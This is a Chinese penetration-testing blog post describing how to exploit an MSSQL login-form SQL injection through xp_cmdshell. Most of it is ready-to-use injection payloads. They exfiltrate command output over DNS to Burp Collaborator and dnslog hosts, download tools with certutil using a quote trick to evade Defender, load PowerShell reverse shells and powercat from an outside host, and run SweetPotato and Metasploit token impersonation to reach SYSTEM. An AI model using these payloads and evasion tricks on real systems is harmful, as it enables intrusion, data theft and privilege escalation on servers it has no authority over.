MSSQL站库分离注入绕过WDF提权

简介: MSSQL站库分离注入绕过WDF提权

0x00 前言

朋友在项目中遇到这样一个场景:MSSQL后台登录框注入,支持xp_cmdshell组件,站库分离(可出网),普通权限nt service\mssqlserver,但存在Defender杀软,暂时没法上线和提权。


而且这台数据库服务器上不存在Web,所以也不能写入Webshell;找到了后台地址,但在sqlmap中没有找到管理员和用户表,直接执行os-shell会出现下图报错,提示不支持堆叠查询...!


0x01 基本信息收集

利用Burp Collaborator或dnslog平台通过dns/http外带方式得到当前用户权限,确定站库分离/是否出网,而且在外带出来的进程中发现有Defender。


注:Burpsuite抓包测试时可以用%20+号来替代空格,如果直接用空格可能执行失败,浏览器会自动转URL编码,但Burpsuite不会,这是个值得注意的小细节。


(1) 获取当前用户权限

这个注入是mssqlserver普通权限,在写入temp临时文件时必须指定一个可读写目录,否则可能因权限问题而写不进去,不指定目录默认为system32,没权限写入。

    C:\Users\Public\Videos
    C:\Users\Public\Pictures
    C:\Users\Public\Downloads
    C:\Users\Public\Documents
    [...SNIP...]
      ;exec+xp_cmdshell+'cmd+/v+/c+"whoami>C:\Users\Public\Pictures\temp%26certutil+-encode+C:\Users\Public\Pictures\temp+C:\Users\Public\Pictures\temp1%26findstr+/L+/V+CERTIFICATE+C:\Users\Public\Pictures\temp1>C:\Users\Public\Pictures\temp2%26set+/p+MYVAR=<+C:\Users\Public\Pictures\temp2+%26+set+FINAL=!MYVAR!.gyi9iypiowzt9672smdcx63n0e65uu.burpcollaborator.net+%26+nslookup+!FINAL!%26del+C:\Users\Public\Pictures\temp*"'


      注:Burp Collaborator会将返回的Base64自动转为小写,而Base64又是区分大小写的,所以咱这里不能正常解码,换个dnslog平台就好了,建议用dig.pm

      (2) 判断是否站库分离

      通过host_name()、@@servername分别获取客户端和服务端主机名来判断是否站库分离,当禁用堆叠查询时可以用fn_trace_gettable、fn_xe_file_target_read_file、fn_get_audit_file实现DNS带外。

        +and+1=convert(int,(select+host_name()))
        +and+1=convert(int,(select+@@servername))
        +and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+host_name())%2b'.********.ipv6.1433.eu.org\1.trc',default))
        +and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+@@servername)%2b'.********.ipv6.1433.eu.org\1.trc',default))

        (3) 判断是否可以出网

        Python开启一个临时Web,然后用mshta去访问,收到数据说明可以出网,使用其他任意可访问HTTP的应用程序都可以,如常用的Curl、Certutil、Msiexec、Regsvr32、Bitsadmin、Powershell等。

          ;exec+xp_cmdshell+'cmd+/c+mshta+http://gyi9iypiowzt9672smdcx63n0e65uu.burpcollaborator.net'

          (4) 判断是否存在杀软

          通过以下命令可以将目标主机所有进程给带出来,建议用dig.pm,但默认只显示10条,想显示所有可拷贝Token到URL访问,这时可以看到几个Defender相关进程。

            ;exec+xp_cmdshell+"for+/F+%i+in+('wmic+process+get+Name+^|findstr+.exe')+do+ping+-n+1+%i.********.ipv6.1433.eu.org>nul"

            0x02 站库分离提权

            如果站库没有分离,我们在拿到Webshell时一般都会先执行个马上线,或者上传EXP进行提权。


            但这里站库分离了,而且存在Defender,我们的大部分马和提权EXP在上传或执行过程中都被杀了。


            (1) 远程加载土豆提权

            虽然站库分离,但允许出外网,所以我们可以利用ExecRemoteNET远程加载土豆进行提权。

            但是不能直接加载.NET程序集来上线,可能会触发WDF动态检测,查杀内存中运行的shellcode。

              https://github.com/m1ddl3w4r3/ExecRemoteNET


              执行certutil命令将ExecRemoteNET.exe落地到目标磁盘,http/https中使用""""绕过WDF的拦截,这个项目目前还可以过静态免杀,所以不会被查杀。

                ;exec+xp_cmdshell+'certutil+-urlcache+-split+-f+ht""""tp://192.168.1.110/ExecRemoteNET.exe+C:\Users\Public\Videos\RemoteNET.exe'


                RemoteNET.exe成功落地,但还是存在一个问题,就是在注入点执行时没有回显,不太好确定咱们提权EXP是否执行成功?所以这里我们还需要先反弹个shell。

                我用的powershell-reverse-shell.ps1,这个脚本反弹shell不会被WDF拦截,注意单双引号问题;也可以用powercat.ps1,但会被AMSI拦截,需要改下才行。

                  https://github.com/martinsohn/PowerShell-reverse-shell
                    ;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).Download""String('http://192.168.1.120/powershell-reverse-shell.ps1')"


                    成功反弹shell后再利用刚落地的RemoteNET.exe远程加载SweetPotato,这时通过回显可以看到已经提权为SYSTEM,如果想绕WDF上线可参考其他文章。

                      C:\Users\Public\Videos\RemoteNET.exe http://192.168.1.120/SweetPotato.exe "-c e60687f7-01a1-40aa-86ac-db1cbf673334 -a whoami"

                        C:\Users\Public\Videos\RemoteNET.exe http://192.168.1.120/SweetPotato.exe "-c e60687f7-01a1-40aa-86ac-db1cbf673334 -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a C:\ProgramData\bypass.ps1"


                        (2) MSF模拟令牌提权

                        除了上边这种提权方式,有的MSSQL场景下我们也可以利用MSF的模拟令牌来进行提权;这里我只是给大家拓展一个思路,实战中还是得以实际情况为准。

                        首先我们利用以上参考文章中的绕过方式获取一个Meterpreter会话,如果进程列表有Ssms.exe进程则大概率可以使用Incognito扩展中的模拟令牌功能提权。

                          ;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).Download""String('http://192.168.1.120/bypass.ps1')"


                          只要管理员在这台机器上使用Windows身份验证连接到这台数据库服务器的MSSQL时就会保留当前登录用户的令牌,所以我们可以直接获取Administrator令牌。


                          0x03 一些问题解决

                          (1) 反弹shell时如果用Linux的netcat监听可能会出现中文字符、↑↓←→等特殊按键乱码问题,我们可以尝试使用rlwrap工具来解决这个问题。


                          (2) 执行powercat反弹shell时发现限制了字符长度,这里我们可以尝试用短域名,或者是修改文件名和函数名,这里我将文件名改为1.ps1,函数名改为f

                            ;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).Download""String('http://192.168.1.120/powercat1.ps1');cmdshell+-c+192.168.1.120+-p+9527+-e+cmd"

                              ;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).DownloadString('http://192.168.1.120/1.ps1');f+-c+192.168.1.120+-p+9527+-e+cmd"

                              相关文章
                              |
                              5月前
                              |
                              SQL 安全 关系型数据库
                              接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞
                              接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。 总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。 请看这段代码
                              562 7
                              |
                              SQL Linux 数据库
                              如何保护 Linux 数据库免受 SQL 注入攻击?
                              如何保护 Linux 数据库免受 SQL 注入攻击?
                              149 4
                              如何保护 Linux 数据库免受 SQL 注入攻击?
                              |
                              安全 API 网络安全
                              绕过IIS命令执行防护提权
                              绕过IIS命令执行防护提权
                              140 0
                              |
                              5月前
                              |
                              开发框架 安全 .NET
                              某教程学习笔记(一):07、数据库漏洞(access注入)
                              某教程学习笔记(一):07、数据库漏洞(access注入)
                              46 0
                              |
                              10月前
                              |
                              Python
                              关于SSTI模块注入的常见绕过方法
                              关于SSTI模块注入的常见绕过方法
                              165 0
                              |
                              应用服务中间件 数据库连接 数据安全/隐私保护
                              MSSQL绕过360提权实战案例
                              MSSQL绕过360提权实战案例
                              291 2
                              |
                              SQL 应用服务中间件 nginx
                              nginx禁止外网访问登录页面,SQL 注入、XSS 攻击配置
                              nginx禁止外网访问登录页面,SQL 注入、XSS 攻击配置
                              688 0
                              |
                              安全 Linux 开发工具
                              总结,复习,整合命令执行漏洞实现及其绕过(绕过方式大全)
                              &gt;🍀1复习一下以前的内容 &gt;🍀2总结整合一下过滤方法
                              233 0
                              总结,复习,整合命令执行漏洞实现及其绕过(绕过方式大全)
                              |
                              安全 中间件 Shell
                              文件包含漏洞利用方式-日志注入getshell
                              中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息 如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell 比如使用代理工具抓包,在HTTP请求中插入一句话木马,访问日志文件时会执行一句话木马,然后使用蚁剑等工具链接,从而getshell
                              679 0
                              文件包含漏洞利用方式-日志注入getshell
                              |
                              监控 安全 关系型数据库
                              提权方式及原理
                              通过getshell控制Web服务器后,通常权限很低,需要通过一些方式来提升权限 提权方式 系统本地漏洞提权
                              269 0